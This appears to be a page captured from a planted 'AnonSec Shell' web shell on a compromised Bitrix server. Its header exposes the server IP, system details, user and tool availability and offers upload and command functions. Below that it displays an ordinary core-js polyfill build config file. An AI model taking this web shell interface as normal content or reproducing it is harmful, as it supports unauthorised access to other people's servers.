AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.21.44.71
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/main/polyfill/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/main/polyfill/core/bundle.config.js
if (Array.isArray(process.argv) ? process.argv.includes('build') : false)
{
	const compat = require('core-js-compat');
	const fs = require('fs');
	const path = require('path');

	const getBrowserslist = (currentDir = __dirname) => {
		const filePath = path.resolve(currentDir, '.browserslistrc');
		if (fs.existsSync(filePath))
		{
			const content = fs.readFileSync(filePath, 'utf-8');
			if (typeof content === 'string')
			{
				return content.split('\n').map((rule) => {
					return rule.trim();
				});
			}
		}
		else if (filePath !== path.sep)
		{
			return getBrowserslist(path.dirname(currentDir));
		}

		return [
			'last 3 versions',
			'not IE <= 11',
			'not dead',
		]
	};

	// Gets required modules by 'browserslist' query
	// https://browserslist.dev/?q=bGFzdCA0IHZlcnNpb25zLCBub3QgSUUgPD0gMTEsIG5vdCBkZWFk
	const result = compat({
		targets: getBrowserslist(),
		filter: /^(es|web)\./,
		version: '3.19',
	});

	const blacklist = [
		'es.symbol.description',
		'es.symbol.match-all',
		'es.array.unscopables.flat',
		'es.array.unscopables.flat-map',
		'es.global-this',
		'es.json.stringify',
		'es.string.replace',
		'es.string.trim',
		'es.string.trim-end',
		'es.string.at-alternative',
		'es.reflect.to-string-tag',
		'web.url-search-params',
		'web.url.to-json',
		'web.url',
	];

	// Creates a source file with the import of the required modules
	const content = result.list
		.filter((moduleName) => {
			return !blacklist.includes(moduleName);
		})
		.reduce((acc, moduleName) => {
			return `${acc}import 'core-js/modules/${moduleName}';\n`;
		}, `// File generated automatically. Don't modify it.\n`);

	const sourceFilePath = path.resolve(
		path.join(__dirname, 'src', 'polyfill.js'),
	);

	fs.writeFileSync(sourceFilePath, content);
}

module.exports = {
	input: 'src/polyfill.js',
	output: 'dist/polyfill.bundle.js',
	concat: {
		js: [
			'./lib/babel-external-helpers.js',
			'./lib/babel-regenerator-runtime.js',
			'./dist/polyfill.bundle.js',
			'./lib/alert-message.js',
		],
	},
	plugins: {
		resolve: true,
	},
	namespaceFunction: null,
	protected: true,
	adjustConfigPhp: false,
	browserslist: true,
};

Anon7 - 2022
AnonSec Team